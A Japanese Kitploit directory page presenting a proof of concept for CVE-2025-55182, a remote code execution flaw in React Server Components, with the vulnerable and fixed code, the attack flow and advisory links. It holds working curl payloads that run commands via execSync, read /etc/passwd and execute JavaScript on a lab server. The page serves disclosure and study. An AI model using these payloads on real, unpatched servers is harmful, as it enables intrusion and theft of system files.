Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-realistic-poc — react-server-dom-webpack@19.0.0 における `hasOwnProperty` チェックの欠落を実証する現実的な POC | Kitploit
ツール/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

[email protected] における `hasOwnProperty` チェックの欠落を実証する現実的な POC

リポジトリを見る
119ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182: React Server Components RCE

[email protected] における重大なリモートコード実行脆弱性を示す最小限の概念実証です。

CVE-2025-55182 とは?

React Server Components における事前認証 RCE 脆弱性であり、脆弱な react-server-dom-webpack パッケージ(バージョン 19.0.0 ~ 19.2.0)を使用しているサーバ上で攻撃者が任意のコードを実行できるようにします。

CVSS スコア: 10 (Critical)

影響を受けるパッケージ

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

修正済みバージョン

  • 19.0.1, 19.1.2, 19.2.1

脆弱性の詳細

根本原因: hasOwnProperty チェックの欠落

この脆弱性は、React の Flight プロトコル実装内の requireModule 関数に存在します。この関数は、クライアントリクエストから受信したメタデータに基づいてモジュールのエクスポートを読み込みます。

脆弱なコード ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- No validation!
}

問題点: metadata[NAME] は ユーザー入力 (HTTP リクエスト) から取得されます。攻撃者は任意のモジュールとエクスポート名(例: child_process#execSync)を指定できます。

修正 (PR #35277)

修正後のコード ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // FIXED: Validate that the export actually exists
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

修正では hasOwnProperty.call() を追加し、要求されたエクスポートがモジュールの 自身のプロパティ であり、プロトタイプチェーンから継承されたものや、危険なモジュールに動的に解決可能なものではないことを保証します。

攻撃ベクトル

  1. 攻撃者が悪意のある HTTP POST リクエストをサーバアクションのエンドポイントに送信します
  2. ペイロードには $ACTION_REF_0 および $ACTION_0:0 フィールドが含まれます
  3. $ACTION_0:0 には {"id":"child_process#execSync","bound":["whoami"]} が含まれます
  4. decodeAction がこれを解析し、攻撃者が制御するメタデータで requireModule を呼び出します
  5. requireModule は require('child_process').execSync を返します
  6. 関数が攻撃者の引数で呼び出されます → RCE

概念実証

セットアップ

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000

RCE の実行

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

期待される出力:

root@kitploit:~
{"success":true,"result":"your-username\n"}

その他のエクスプロイト例

root@kitploit:~
# Read files
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Execute JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

動作の仕組み

decodeAction のフロー

root@kitploit:~
HTTP リクエスト
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - $ACTION_REF_0 を解析してアクション参照を見つける        │
│  - $ACTION_0:0 を解析して {id, bound} を取得する            │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (攻撃者制御)              │
│  - bound = ["whoami"] (攻撃者制御)                          │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - "child_process#execSync" を分割:                         │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [脆弱]         │
│  - require("child_process") を読み込む                      │
│  - moduleExports["execSync"] を返す                         │
│  - "execSync" にアクセス可能かどうかの検証がない            │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  サーバ上で "whoami" を実行           │
└─────────────────────────────────────────────────────────────┘

参考文献

  • React セキュリティ勧告: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • GitHub PR #35277 (修正): https://github.com/facebook/react/pull/35277
  • CVE レコード: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Wiz 分析: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Next.js 勧告: https://nextjs.org/blog/CVE-2025-66478

ライセンス

MIT

ツールをダウンロード